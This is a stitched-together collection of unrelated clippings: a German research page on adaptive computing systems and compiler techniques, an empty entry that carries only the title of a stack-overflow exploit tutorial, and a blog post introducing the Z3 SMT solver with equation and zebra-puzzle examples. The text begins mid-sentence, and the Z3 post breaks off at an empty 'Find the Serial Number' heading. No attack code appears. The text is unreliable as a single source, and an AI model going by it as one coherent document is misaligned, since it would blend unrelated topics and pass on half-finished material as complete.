von höheren Analysen ebenso wie viele Details des internen Aufbaus der
Zwischendarstellung. Durch dieses "DFlow"-Interface ist es möglich, viele
bestehende Methoden aus der Fachliteratur direkt zu benutzen.

Als Basisdarstellung werden Bitvektoren benutzt, die eine einfache Möglichkeit
der Mengenoperationen bieten. Die meisten Algorithmen zur Datenflussanalyse
basieren auf solchen Mengenoperationen. Als Basis der Berechnung dienen hier
Attribute wie READ/WRITE auf Variablen. Diese Attribute müssen aus der
internen Zwischendarstellung extrahiert werden. Aufbauend auf einigen solchen
synthetischen Attributen können dann viele andere Attribute berechnet werden,
wobei kein Zugriff mehr auf die interne Repräsentation nötig ist. Somit ist es
einfach möglich, Analysen zu entwerfen, die unabhängig vom System sind. Durch
die bessere Entkopplung wird nicht nur die Wiederverwendbarkeit der Analysen
verbessert, sondern es werden auch Seiteneffekte vermieden. Es ist aus der
Sicht eines Analysepasses nicht mehr ohne weiteres möglich, direkt die
Zwischendarstellung zu ändern. Dies beugt Programmfehlern vor.

#  Metaoptimierungen für adaptive Rechner

Mit der Definition von ATS \(Aggressive Tail Splitting\) wurde ein neues
Verfahren zur Optimierung von Programmen definiert. Es ist keine neue Art von
Optimierung, sondern eine Metaoptimierung. Innerhalb einer Schleife wird jeder
mögliche Programmablauf, auch über Schleifengrenzen hinweg, als eigener
Ablauffaden aufgefasst. Hierdurch ergibt sich zwar eine Vergrößerung des
Programms, durch diese Transformation wird es jedoch möglich, dass eine Reihe
von Optimierungen besser durchgeführt werden kann.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_ats.gif' alt='mr_ats.gif' />  
---  
**Bild 20:** Beispiel für Aggressive Tail Splitting  
In Bild 20 muss vor jedem _A_ oder _B_ in der untersten Ebene auf der linken
Seite des _if_ einmal _A_ ausgeführt werden. Auf der anderen Seite des _if_
muss vorher ein _B_ ausgeführt worden sein. Diese konstante Vorgeschichte kann
zur Optimierung benutzt werden.

#  Unterstützung von spekulativer Parallelisierung auf einem adaptiven Rechner

Bei der spekulativen Parallelisierung wird davon ausgegangen, dass jeder der
parallelisierten Abläufe keine Änderungen \(Schreibzugriffe auf Variablen\)
ausführt, die einen anderen Ablauf beeinflussen. Trotzdem muss das Programm
auch bei Verletzung dieser optimistischen Annahme korrekte Ergebnisse liefern.
Dazu werden die Teilergebnisse jedes Ablaufs solange nur lokal gehalten, bis
ein Konflikt mit einem anderem Ablauf definitiv ausgeschlossen werden kann.
Erst dann werden die Daten freigegeben \(also z.B. in den Speicher
geschrieben\). Im Falle eines Konflikts \(erkannt durch spezialisierte
Überwachungs-Hardware\) wird dagegen der bisher gerechnete Ablauf verworfen
und mit, von einem anderen Ablauf freigegebenen, modifizierten Daten neu
gestartet.

Der Vorteil der spekulativen Parallelisierung liegt darin, dass sie auch dann
durchgeführt werden kann, wenn eine statische Analyse des sequentiellen
Programmtextes die nebenläufige Ausführbarkeit nicht garantieren kann. Als
Nachteile sind die komplexere Hardware und der potenziell höhere
Energieverbrauch durch das wiederholte Rechnen von Abläufen \(aufgrund von
Konflikten\) zu nennen.

Auf einem adaptiven Rechner kann nun die Überwachungs-Hardware zur Erkennung
und Auflösung von Konflikten gezielt auf die potenziellen Konflikte abgestimmt
werden, die im realisierten Algorithmus auftreten können. Sie ist somit
deutlich einfacher als eine universelle Implementierung.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_tlp.gif' alt='mr_tlp.gif' />  
---  
**Bild 21:** Spekulative Parallelisierung auf einem adaptiven Rechner  
Untersucht wurde neben der Erweiterung des Speichersystems MARC um die
Konflikterkennungs-Funktionalität auch die Anwendbarkeit des vorgeschlagenen
Verfahrens in Beispielprogrammen aus den unterschiedlichsten
Anwendungsgebieten.

#  Einbindung komplexer IP-Blöcke in automatisch generierte Datenpfade

Neben der Verwendung relativ einfacher Operatoren, wie sie der Modulgenerator
GLACE bereitstellt, ist es aus mehreren Gründen sinnvoll, auch komplexere IP-
Blöcke \(Intellectual Property\) nahtlos in automatisch generierte Datenpfade
zu integrieren. Zum einen können extrem hohe Anforderungen an die Hardware-
Qualität, z.B. zur Steigerung der Rechenleistung, die manuelle Optimierung
eines Blockes erforderlich machen, der dann mit der restlichen kompilierten
Anwendung zusammengebunden werden muss. Diese Vorgehensweise ähnelt der im
Software-Bereich praktizierten Einbindung handoptimierten Assembler-Codes in
größere C Programme. Zum anderen besteht die Möglichkeit der Wiederverwendung
schon bestehender IP-Blöcke in einer neuen, in C formulierten Anwendung. Dies
entspricht etwa den Bibliotheken im Software-Bereich.

Um die automatische Integration der IP-Hardware zu ermöglichen, wurden
zunächst die Schnittstellensemantiken von mehr als dreißig kommerziellen IP-
Blöcken klassifiziert. Hierbei wurden sowohl abstrakte logische Konstrukte wie
Datenströme, Speicherblöcke oder skalare/vektorielle Daten und ihre Formate
und Raten untersucht als auch physikalische Schnittstelleneigenschaften wie
Busprotokolle und Handshake-Verfahren. Anschließend wurde der Systemrahmen
PaCIFIC \(Parametric C Interface For IP Cores\) definiert, welcher die
Einbettung der abstrahierten Schnittstellenmechanismen in die
Programmiersprache C realisiert.

#  Parametric C Interface For IP Cores \(PaCIFIC\)

PaCIFIC besteht aus Regeln für einen idiomatischen Programmstil, der beim
Einbetten von IP-Blöcken in ein C-Quellprogramm angewendet werden muss, und
Semantiken zur Schnittstellensteuerung, die das Schnittstellenverhalten eines
IP-Blockes beschreiben \(Bild 22\). Dazu enthält PaCIFIC ein Datenmodell und
eine menschenlesbare Beschreibungssprache für die Charakteristiken von
einzelnen IP-Blöcken sowie ganzer Plattformen. Alle Komponenten sind in
mehreren speziellen Compiler-Passes zusammengebunden, welche die notwendigen
Analyse- und Syntheseschritte sowohl für die Hardware als auch die Software
durchführen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_pacific1.gif'
alt='hl_pacific1.gif' />  
---  
**Bild 22:** Design-Fluss mit PaCIFIC  
PaCIFIC ermöglicht die automatische Kombination von IP-Blöcken und zur
Hardware-Ausführung bestimmten Programmteilen \(siehe Compiler für adaptive
Rechensysteme\) zu einem Datenpfad und dessen Nutzung aus einer Software-
Beschreibung heraus, die gleichzeitig Quelle und Senke für die Daten ist. Ein
natürlicher Ansatz für reine Software würde die beiden IP-Blöcke als
C-Funktionen betrachten. Aus einer Folge solcher Funktionsaufrufe wird die
Hardware-Pipeline automatisch generiert. Dies erfordert zusätzliche
Informationen über die Hardware-"Funktionen", z.B. das
Schnittstellenprotokoll, oder welche Register mit welchen Werten programmiert
werden müssen, um eine bestimmte IP-Funktion auszuführen. Die Informationen
werden vom IP-Entwickler in o.g. Beschreibungssprache zusammen mit dem IP-
Block in einer speziellen Bibliothek hinterlegt. Der Software-Entwickler
benötigt folglich keine Kenntnis von den tatsächlichen Mechanismen, die an der
Realisierung des Datenpfades beteiligt sind.

PaCIFIC ermöglicht COMRADE \(Link\), komplexe IP-Blöcke zu integrieren und auf
diese zuzugreifen. Dazu wird COMRADE um zusätzliche Compiler-Durchläufe
erweitert, die anhand der PaCIFIC-Beschreibung idiomatische Hardware-
Funktionsaufrufe in einem C-Quellprogramm finden. Im ersten Durchlauf wird die
interne Zwischendarstellung des C-Programms nach IP-Blöcken durchsucht. Sie
werden im weiteren Verlauf nicht von den existierenden C-nach-Hardware
Compiler-Durchläufen verarbeitet. Der die IP-Block-Aufrufe enthaltende
Basisblock ist durch einen Knoten in der internen Darstellung repräsentiert.
Dieser wird zwischen Software-Ausführung und automatisch synthetisierten
Datenpfaden einerseits sowie IP-Block-Ausführung andererseits aufgeteilt.
Anschließend wird die Zwischendarstellung nach Hardware-Pipelines durchsucht.
Sie werden aus den automatisch kompilierten Hardware-Datenpfaden und im
Kontrollfluss aus angrenzenden IP-Blöcken zusammengesetzt \(Bild 23\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_pacific2.gif'
alt='hl_pacific2.gif' />  
---  
**Bild 23:** Pipeline aus zusammengefassten Hardware-Knoten  
#  Plattformen und Systemkomposition

Plattformen spielen eine wesentliche Rolle beim Zusammensetzen \(Komponieren\)
von Hardware-Systemen aus bestehenden Komponenten \(Wiederverwendung, Re-
use\). Eine Plattform repräsentiert dabei eine Systemumgebung, in die eine
oder mehrere Hardware- oder Software-Komponenten integriert werden. Im Rahmen
dieser Arbeit wurden Möglichkeiten untersucht, Plattformen und Komponenten
derart umfassend zu beschreiben, dass sie automatisch gemäß Anwendervorgaben
zu Systemen komponiert werden können.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_platforms.gif'
alt='hl_platforms.gif' />  
---  
**Bild 24:** Struktur einer Plattformdefinition  
Der konkrete Aufbau des Systems wird durch die Plattformkonfiguration
bestimmt. Diese beschreibt jede verwendete Komponente und ihre speziellen
Eigenschaften \(in der Regel durch Parameterwerte\). Die
Plattformkonfigurationen sind der zentrale Bestandteil einer
Plattformdefinition. Es können mehrere alternative Konfigurationen existieren.
Sie bestehen im wesentlichen aus Instanzierungsbefehlen für Komponenten oder
Busbrücken. Eine Komponenteninstanzierung bindet einen Block mit seiner vollen
Funktionalität an die Plattform. Im Gegensatz dazu erwartet die
Busbrückeninstanzierung einen Block, der nur Adressübersetzung und
Datentransfer zwischen seinen Schnittstellen bietet. Die Plattform wird durch
Verbindung der Schnittstellen aller instanzierten Blöcke zusammengesetzt,
wobei ein Schnittstellenbindungsmechanismus verwendet wird, der Designs durch
Verbindung von Schnittstellen mit zueinander passenden Charakteristiken
automatisch zusammensetzt. Die Schnittstellenbindung ist ein schrittweiser
Prozess, welcher gestartet wird, wenn die Plattform oder das Design für den
späteren Gebrauch zusammengestellt wird. Jede initiierende Schnittstelle, d.h.
diejenige, die ein passendes Gegenstück sucht, wird nach und nach mit einer
Zielschnittstelle verbunden.

Auf diese Weise lassen sich auch komplexe Systeme automatisch durch Anwendung
einer Regelbasis geleitet durch die Benutzeranforderungen erstellen.

#  Allgemeine Einführung in adaptive Rechensysteme

Moderne Fertigungstechniken erlauben zwar die Herstellung immer größerer
Chips, auf der anderen Seite wird aber jeder einzelne Fertigungslauf \(von der
Maskenerstellung zum Test\) auf einem solchen Prozess immer aufwändiger und
damit für immer weniger Neuentwicklungen rentabel.

Ein Ausweg aus diesem Dilemma kann der Einsatz von programmierbaren bzw.
konfigurierbaren Schaltungen sein, bei denen eine feste Chip-Plattform durch
nachträgliche Anpassung auf die konkrete Anwendung zugeschnitten werden kann.
Neben der allgemeinen Kostensenkung durch Zugriff auf einen Massenbaustein
können durch das so erreichbare hohe Maß an Anpassbarkeit Änderungen \(z.B.
während eines Normungsprozesses\) ohne Risiko in den laufenden Entwurf
einfließen.

Die hohe Flexibilität von Standardprozessoren, deren Anwendung rein durch
Software definiert ist, wird häufig durch den Zwang zur Überdimensionierung
des Prozessors erkauft: Einzelne Funktionen der Anwendung, die sich
möglicherweise effizient direkt in Hardware implementieren lassen, können rein
in Software weniger gut realisierbar sein und erfordern zum Ausgleich einen
insgesamt leistungsfähigeren Prozessor. Eine universell einsetzbare Lösung
sollte daher neben der Software-Flexibilität auch in Hardware-Aspekten
anpassbar sein.

Das Spektrum dieser Anpassbarkeit reicht dabei von einmalig \(für die gesamte
Lebensdauer der Anwendung\), mehrmalig \(mehrere Änderungen über die
Lebensdauer der Anwendung\) bis hin zu dynamisch \(mehrfach wärend der
Ausführung der Anwendung\). Im ersten Fall werden in der Regel nicht-flüchtige
Bausteine \(z.B. antifuse-basierte FPGAs\) vor Auslieferung einmalig auf den
aktuellen Stand der Anwendung zugeschnitten. Beim zweiten Szenario besteht die
Möglichkeit, auch einen bereits ausgelieferten Baustein \(z.B. ein EEPROM-
basiertes FPGA\) noch anzupassen. Diese Möglichkeit kann auch für Updates auf
Hardware-Basis verwendet werden.

Adaptive Rechensysteme gehören zum dynamischen Fall. Hier werden die Hardware-
Funktionen zur Laufzeit an die Bedürfnisse der Anwendung angepasst. Selbst für
einzelne Programmphasen oder -modi \(z.B. Kompression, Dekompression etc.\)
können optimierte Funktionen in Hardware bereitgestellt werden. Diese
Anpassung kann dabei so weit gehen, dass die Hardware-Funktionen sogar noch
auf die im aktuellen Lauf verwendeten Daten spezialisiert werden \(z.B. den
konkreten Schlüssel für ein Krypto-Verfahren\).

Adaptive Rechensysteme basieren auf Technologien, die heute neben den
klassischen FPGAs \(die mittlerweile ausreichende Kapazitäten für reale
Rechenanwendungen bereitstellen\) und anwendungsspezifischen Prozessoren
\(ASIPs\) insbesondere auch sogenannte Network Processors umfassen. Letztere
haben als konfigurierbare Einheiten in der Regel keine 1-bit-breiten
Logikblöcke, sondern bauen auf Multi-Bit-Operatoren wie ALUs auf.

Entscheidende Leistungssteigerungen mittels adaptiver Rechner lassen sich nur
erreichen, wenn die Werkzeuge im Entwurfsfluss schon auf hoher Ebene auf die
Zielplattform hin optimieren. Dabei darf ein praktisch anwendbares System
nicht die Anforderungen seines potentiellen Nutzerkreises aus den Augen
verlieren: Zur Eingabe sollten dem Nutzer vertraute Notationen zum Tragen
kommen, im DSP-Bereich also beispielsweise C, Fortran und MATLAB. Die
Verwendung exotischer Eingabesprachen \(und dazu zählen aus Sicht eines
Software-Entwicklers auch HDLs\!\) wäre der breiten Anwendung eher hinderlich.

Bei dieser software-artigen Flexibilität der Hardware \(gelegentlich auch
Soft-Hardware oder Agileware genannt\) kommt es zwangsläufig zu einer sehr
engen Verzahnung von Hard- und Software-Aspekten. Hardware-Architekturen und
passende Entwurfswerkzeuge müssen sorgfältig aufeinander abgestimmt werden.
Eigenschaften der Hardware beeinflussen die Algorithmen der Entwurfswerkzeuge.
Umgekehrt erfordern verschiedene Vorgehensweisen der Werkzeuge auch die
Bereitstellung bestimmter Hardware-Fähigkeiten.

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 2 : Stack Based Overflows – jumping to
shellcode

**Created:**| _12/28/2009 10:04:24 PM_  
---|---  
**Updated:**| _12/28/2009 10:04:46 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6215' />

# Practical Symbolic Execution and SATisfiability Module Theories \(SMT\) 101

**Created:**| _5/25/2018 10:44:17 AM_  
---|---  
**Updated:**| _5/25/2018 10:44:17 AM_  
**Author:**| _wishi_  
**Tags:**| _SMT_  
  

  

# Practical Symbolic Execution and SATisfiability Module Theories \(SMT\) 101

May 19, 2018 • By rui

Finding bugs is hard, reverse engineering is hard. Constraint solvers are the
heart of many program analysis techniques, and can aid Fuzzing, and software
verification.

This post contains a few hands-on experiments with Z3, a high performance
theorem prover developed at Microsoft Research by Leonardo de Moura and
Nikolaj Bjorner. With KLEE, a Symbolic Execution Engine built on top of the
LLVM compiler infrastructure developed by Cristian Cadar, Daniel Dunbar, and
Dawson Engler. And, angr, a binary analysis framework developed by the
Computer Security Lab at UC Santa Barbara and their associated CTF team,
Shellphish.

The motivation behind this post is basically to use it as reminder to myself.
I couldn’t keep using google to search for the same things/references over and
over. Eventually in the future I’ll post more realistic and advanced use case
scenarios for the tools mentioned above, and a few others in this area that
I’m currently working on \(meaning, trying to learn\). However, this post was
already too long.

To illustrate the use of Z3 I will mainly use its Python API because is
practical and easy to understand. SAT/SMT solvers have many applications. An
important application of SMT solvers is symbolic execution for analysis and
testing of programs \(concolic testing\). The goal? Finding security
vulnerabilities. That’s exactly my main interest here.

<img src='img/Temp2_6350.png' width='100%' height='307' />

A major problem you may find when you look at this subject is the fact that
most of the information you’ll find is too theoretical. However, many security
researchers have already been working on this field for a long time. Symbolic
execution can definitely help with Reverse Engineering and software analysis
as you’ll see if you follow this post.

The main reason this topic is getting in voga again, I believe, is mainly
because computers are getting faster, and faster, and software is getting
highly complex. Consequently, solving problems with SAT/SMT is more attractive
now. If you want to go deep on the topic see the “references” section at the
end of the article, you’ll find awesome work on this subject that goes back
more than 10 years. Notably, besides academia, as far as I know, Richard
‘@richinseattle’ Johnson was one of the first to start applying these
techniques to bug finding while he was at Sourcefire \(now Cisco\).

## SAT/SMT Solvers

I wouldn’t be able to define SAT/SMT better than wikipedia. So here’s the
wikipedia definition.

_In computer science and mathematical logic, the satisfiability modulo
theories \(SMT\) problem is a decision problem for logical formulas with
respect to combinations of background theories expressed in classical first-
order logic with equality. Examples of theories typically used in computer
science are the theory of real numbers, the theory of integers, and the
theories of various data structures such as lists, arrays, bit vectors and so
on. SMT can be thought of as a form of the constraint satisfaction problem and
thus a certain formalized approach to constraint programming._

An SMT instance is a generalization of a Boolean SAT instance. I’ll try to
stay away from the theory and math behind SAT/SMT solvers. Not only because
I’m not at the academia anymore \(and actually I didn’t really study this
subjects while I was there\), but also because you’ll be bored. So basically
I’ll show a few practical examples of how to use SAT/SMT solvers. I’ll mainly
use Z3, but there are a lot more SMT solvers, check this wikipedia page for an
eventually complete list.

Before diving into equations \(SAT/SMT solvers are ‘solvers’ of huge
equations\), you must be familiar with computer science logic. This is a
prerequisite, so I won’t be talking here about what’s a variable, what’s true
\(1\) and false \(0\), what’s `OR, XOR, AND`, and so on. If you feel rusty and
you need some refreshing about these concepts wikipedia might be a good
starting point. You’ll also need to be familiar with other concepts like
functions, connectives `(&&, ||, !)`, asserts \(an assertion is always assumed
to be true, if an assertion evaluates to false the program must end\), and a
few others.

So, an SMT problem is a decision problem for formulas expressed using logic
that return true or false based in theories of arithmetic, lists, bit vectors,
arrays, etc. In other words, an SMT solver is a constraint solver. What is a
constraint? A statement that specifies properties of a solution to be found. A
good example is… Z3.

How solvers work? Magic? Well, kind of.

  * user specifies a formula that must be satisfied
  * solver attempts to find a solution that SATisfies the formula

If the solver can find a solution, the formula is said to be SATisfiable. If
the solver cannot find a solution, the formula is said to be UNSATisfiable.

## Z3

### Quick Z3 Setup

To get started I recommend you to grab the code from the project’s GitHub
official repository.

[code]

    $ git clone https://github.com/Z3Prover/z3
    $ cd z3
    $ CXX=clang++ CC=clang python scripts/mk_make.py
    $ cd build
    $ make
    $ sudo make install
    
[/code]

After `make` Z3 Python scripts can already be executed in the `build/python`
directory.

If you prefer to use a docker container just type:

[code]

    $ docker pull fdiskyou/z3:0.1
    
[/code]

### Linear equation with 3 variables

As we learnt at primary school, real world problems can be represented as
equations. So let’s just use one of those equations we learnt somewhere around
the 7th or 8th school year.

We’ll use the following linear equation system with 3 variables, that I
grabbed from http://tutorial.math.lamar.edu.

[code]

    x - 2y + 3z = 7
    2x + y + z = 4
    -3x + 2y - 2z = -10
    
[/code]

How can we solve this using Z3? Easy-peasy. If we use the Python bindings it’s
actually easy to read the code and understand what’s going on.

[code]

    #!/usr/bin/python
    
    from z3 import *
    
    s = Solver()
    
    x = Int('x')
    y = Int('y')
    z = Int('z')
    
    s.add(x - 2*y + 3*z == 7)
    s.add(2*x + y + z == 4)
    s.add(-3*x + 2*y - 2*z == -10)
    
    print s.check()
    print s.model()
    
[/code]

The `Solver()` function solves a system of constraints. The function
`Int('x')` creates an integer variable in Z3 named `x`. The example above uses
3 variables `x`, `y`, and `z`, and three constraints. In the example above,
the expression `x - 2y + 3z = 7` is a Z3 constraint. Z3Py like Python uses `=`
for assignment and the operators `<, <=, >, >=, ==` and `!=` for comparison.

You can try to solve the equation above by hand. You’ll save a lot of time if
you use Z3 though.

[code]

    $ time python sample1.py
    sat
    [z = 1, x = 2, y = -1]
    
    real    0m0.342s
    user    0m0.265s
    sys     0m0.036s
    
[/code]

The `s.check()` returns `sat`, meaning Z3 was able to find the solution. If we
change the equation in a way that it won’t have a solution, it will return
`unsat`. Since the equation was SATisfiable \(in other words, has a solution\)
we got a model `(s.model())`.

I’ve used `Int` because I only had integers in my equation. Obviously you can
also have `Real` variables, `Bool`, and so on. Check the z3py tutorial and the
Z3 guide for more details.

As I said above, I’m using Python because its practical and very popular among
the ‘hacker’ community. However, there’s a standard language for SMT solvers
called SMT-LIB. If I go back to the first example and re-write it, it will
look like this:

[code]

    (declare-const x Int)
    (declare-const y Int)
    (declare-const z Int)
    
    (assert(=(+(- x (* 2 y)) (* 3 z)) 7))
    (assert(=(+(+(* 2 x) y) z) 4))
    (assert(=(-(-(* 2 y) (* 3 x)) (* 2 z)) -10))
    
    (check-sat)
    (get-model)
    
[/code]

As you can see a lot more tricky, but still readable. We start by declaring
constants, then we add constraints by adding assertions using Polish notation.
Then we check the satisfiability \(check-sat\), and finally we get the
interpretation that makes all formulas true \(get-model\).

If we save the code above in a file, we can run it as shown below.

[code]

    $ z3 -smt2 sample1.smt
    sat
    (model
      (define-fun z () Int
        1)
      (define-fun x () Int
        2)
      (define-fun y () Int
        (- 1))
    )
    
[/code]

Z3 can also read commands from STDIN, just type instead:

[code]

    $ z3 -smt2 -in
    
[/code]

Before we move on, see below a small UNSATisfiable example \(in Python
again\).

[code]

    #!/usr/bin/python
    
    from z3 import *
    
    s = Solver()
    
    a = Int('a')
    b = Int('b')
    
    s.add(a > 0)
    s.add(a + 1 == b)
    s.add(b < 0)
    
    if s.check() == unsat:
      print("NO SOLUTION!")
    else:
      print s.model()
    
[/code]

If we run it, we won’t obviously get a solution.

[code]

    $ python sample3.py
    NO SOLUTION!
    
[/code]

This was only for demonstration purposes. If you want to fix the formula to
make it SATisfiable, go ahead.

The basic examples above were enough to get us started. However, if you want
to play with more complex equations/examples I recommend you, again, to look
at:

  * Z3 API in Python
  * Getting Started with Z3: A Guide

### Puzzles

If SAT/SMT solvers can be applied to equations, any kind of puzzle that you
can describe as an equation can also be solved with Z3. You’ll find many
examples of puzzles solved with Z3. The best compilation that I’m aware of is
in the Quick introduction into SAT/SMT solvers and symbolic execution by
Dennis Yurichev. You definitely should look at this resource if you want to go
deep on the subject.

Another good resource with plenty of solved puzzles can be found at
z3-playground, maintained by Axel @0vercl0k Souchet.

#### The Zebra Puzzle

As we can read on wikipedia, _The zebra puzzle is a well-known logic puzzle.
Many versions of the puzzle exist, including a version published in Life
International magazine on December 17, 1962._

This puzzle is often called Einstein’s Riddle and you’ll be able to find
online some slight variations. Try to think how you can translate the problem
into a data structure and then start adding your constraints. In my solution I
used a matrix of integers.

You can find my solution below, and a different approach on Yurichev’s pdf.
Axel Souchet used an approach very close to mine, even though a bit more
elegant. Yurichev’s might be the easiest to understand. Try to solve the
puzzle yourself and then compare the solutions, there are many ways to solve
the puzzle and you’ll learn more that just looking at what others did. After
all, this a good way to practice.

[code]

    #!/usr/bin/env python
    '''
    My solution for: https://en.wikipedia.org/wiki/Zebra_Puzzle
    
    The following version of the puzzle appeared in Life International in 1962:
    
    0.  There are five houses.
    1.  The Englishman lives in the red house.
    2.  The Spaniard owns the dog.
    3.  Coffee is drunk in the green house.
    4.  The Ukrainian drinks tea.
    5.  The green house is immediately to the right of the ivory house.
    6.  The Old Gold smoker owns snails.
    7.  Kools are smoked in the yellow house.
    8.  Milk is drunk in the middle house.
    9.  The Norwegian lives in the first house.
    10. The man who smokes Chesterfields lives in the house next to the man with the fox.
    11. Kools are smoked in the house next to the house where the horse is kept.
    12. The Lucky Strike smoker drinks orange juice.
    13. The Japanese smokes Parliaments.
    14. The Norwegian lives next to the blue house.
    
    Now, who drinks water? Who owns the zebra?
    
    In the interest of clarity, it must be added that each of the five houses is painted a different color, and their inhabitants are of different national extractions, own different pets, drink different beverages and smoke different brands of American cigarets [sic]. One other thing: in statement 6, right means your right.
    '''
    
    from z3 import *
    
    s = Solver()
    
    zebra = {
             'color' : ('red', 'green', 'ivory', 'yellow', 'blue'),
             'nationality' : ('British', 'Spanish', 'Ukrainian', 'Norwegian', 'Japanese'),
             'pet' : ('dog', 'snail', 'fox', 'horse', 'zebra'),
             'beverage' : ('coffee', 'tea', 'milk', 'juice', 'water'),
             'cigarets' : ('Old Gold', 'Kools', 'Lucky Strike', 'Parliaments', 'Chesterfields')
       }
    
    # assign an integer/index to zebra[name] from 0 to 5
    color, nationality, pet, beverage, cigarets = range(5) 
    
    # Create Z3 integer variables for matrix cells
    cells = [ [ Int("%s_%d" % (j, i)) for j in zebra ] for i in range(5) ]
    
    # debug
    #print(cells)
    
    # Add cell constraints
    for y in range(5):
      for x in range(5):
        s.add(cells[x][y] >= 0, cells[x][y] <= 4)
    
    # Add row constraints
    for y in range(5):
      s.add(Distinct([cells[x][y] for x in range(5)]))
    
    
    # feed the solver with the hints above
    
    # The Englishman lives in the red house
    s.add( Or( [ And(cells[i][nationality] == zebra['nationality'].index('British'), cells[i][color] == zebra['color'].index('red') ) for i in range(5) ] ) )
    
    # The Spaniard owns the dog
    s.add( Or( [ And(cells[i][nationality] == zebra['nationality'].index('Spanish'), cells[i][pet] == zebra['pet'].index('dog') ) for i in range(5) ] ) )
    
    # Coffee is drunk in the green house
    s.add( Or( [ And(cells[i][beverage] == zebra['beverage'].index('coffee'), cells[i][color] == zebra['color'].index('green') ) for i in range(5) ] ) )
    
    # The Ukrainian drinks tea
    s.add( Or( [ And(cells[i][nationality] == zebra['nationality'].index('Ukrainian'), cells[i][beverage] == zebra['beverage'].index('tea') ) for i in range(5) ] ) )
    
    # The green house is immediately to the right of the ivory house
    s.add( Or( [ And(cells[i][color] == zebra['color'].index('green'), cells[i - 1][color] == zebra['color'].index('ivory') ) for i in range(5) ] ) )
    
    # The Old Gold smoker owns snails
    s.add( Or( [ And(cells[i][cigarets] == zebra['cigarets'].index('Old Gold'), cells[i][pet] == zebra['pet'].index('snail') ) for i in range(5) ] ) ) 
    
    # Kools are smoked in the yellow house
    s.add( Or( [ And(cells[i][cigarets] == zebra['cigarets'].index('Kools'), cells[i][color] == zebra['color'].index('yellow') ) for i in range(5) ] ) )
    
    # Milk is drunk in the middle house
    s.add(cells[2][beverage] == zebra['beverage'].index('milk'))
    
    # The Norwegian lives in the first house
    s.add(cells[0][nationality] == zebra['nationality'].index('Norwegian'))
    
    # The man who smokes Chesterfields lives in the house next to the man with the fox
    s.add( Or(
      And(cells[0][cigarets] == zebra['cigarets'].index('Chesterfields'), cells[1][pet] == zebra['pet'].index('fox')),
      And(cells[1][cigarets] == zebra['cigarets'].index('Chesterfields'), Or(cells[0][pet] == zebra['pet'].index('fox'), cells[2][pet] == zebra['pet'].index('fox'))),
      And(cells[2][cigarets] == zebra['cigarets'].index('Chesterfields'), Or(cells[1][pet] == zebra['pet'].index('fox'), cells[3][pet] == zebra['pet'].index('fox'))),
      And(cells[3][cigarets] == zebra['cigarets'].index('Chesterfields'), Or(cells[2][pet] == zebra['pet'].index('fox'), cells[4][pet] == zebra['pet'].index('fox'))),
      And(cells[4][cigarets] == zebra['cigarets'].index('Chesterfields'), cells[3][pet] == zebra['pet'].index('fox')),
    ))
    
    # Kools are smoked in the house next to the house where the horse is kept
    s.add( Or(
      And(cells[0][cigarets] == zebra['cigarets'].index('Kools'), cells[1][pet] == zebra['pet'].index('horse')),
      And(cells[1][cigarets] == zebra['cigarets'].index('Kools'), Or(cells[0][pet] == zebra['pet'].index('horse'), cells[2][pet] == zebra['pet'].index('horse'))),
      And(cells[2][cigarets] == zebra['cigarets'].index('Kools'), Or(cells[1][pet] == zebra['pet'].index('horse'), cells[3][pet] == zebra['pet'].index('horse'))),
      And(cells[3][cigarets] == zebra['cigarets'].index('Kools'), Or(cells[2][pet] == zebra['pet'].index('horse'), cells[4][pet] == zebra['pet'].index('horse'))),
      And(cells[4][cigarets] == zebra['cigarets'].index('Kools'), cells[3][pet] == zebra['pet'].index('horse')),
    ))
     
    # The Lucky Strike smoker drinks orange juice
    s.add( Or( [ And(cells[i][cigarets] == zebra['cigarets'].index('Lucky Strike'), cells[i][beverage] == zebra['beverage'].index('juice') ) for i in range(5) ] ) )
    
    # The Japanese smokes Parliaments
    s.add( Or( [ And(cells[i][nationality] == zebra['nationality'].index('Japanese'), cells[i][cigarets] == zebra['cigarets'].index('Parliaments') ) for i in range(5) ] ) )
    
    # The Norwegian lives next to the blue house
    s.add( Or(
      And(cells[0][nationality] == zebra['nationality'].index('Norwegian'), cells[1][color] == zebra['color'].index('blue')),
      And(cells[1][nationality] == zebra['nationality'].index('Norwegian'), Or(cells[0][color] == zebra['color'].index('blue'), cells[2][color] == zebra['color'].index('blue'))),
      And(cells[2][nationality] == zebra['nationality'].index('Norwegian'), Or(cells[1][color] == zebra['color'].index('blue'), cells[3][color] == zebra['color'].index('blue'))),
      And(cells[3][nationality] == zebra['nationality'].index('Norwegian'), Or(cells[2][color] == zebra['color'].index('blue'), cells[4][color] == zebra['color'].index('blue'))),
      And(cells[4][nationality] == zebra['nationality'].index('Norwegian'), cells[3][color] == zebra['color'].index('blue'))
    ))
    
    if s.check() == unsat:
      print('Failed to solve. Most likely some of the constraints are wrong.') 
    
    m = s.model()
    solution = [[m[case].as_long() for case in line] for line in cells]
    
    for i in range(5):
      print('House: %s, Nationality: %s, Beverage: %s, Smoke: %s, Pet: %s' % (
        zebra['color'][solution[i][color]],
        zebra['nationality'][solution[i][nationality]],
        zebra['beverage'][solution[i][beverage]],
        zebra['cigarets'][solution[i][cigarets]],
        zebra['pet'][solution[i][pet]]
      ))
    
[/code]

Compare the results to the ones at wikipedia even if you get a SAT result.
Your constraints might be subtly “wrong” and the solution will be different.

[code]

    $ time python zebra_puzzle.py
    House: yellow, Nationality: Norwegian, Beverage: water, Smoke: Kools, Pet: fox
    House: blue, Nationality: Ukrainian, Beverage: tea, Smoke: Chesterfields, Pet: horse
    House: red, Nationality: British, Beverage: milk, Smoke: Old Gold, Pet: snail
    House: ivory, Nationality: Spanish, Beverage: juice, Smoke: Lucky Strike, Pet: dog
    House: green, Nationality: Japanese, Beverage: coffee, Smoke: Parliaments, Pet: zebra
    
    real    0m0.469s
    user    0m0.299s
    sys     0m0.052s
    
[/code]

### Find the Serial Number

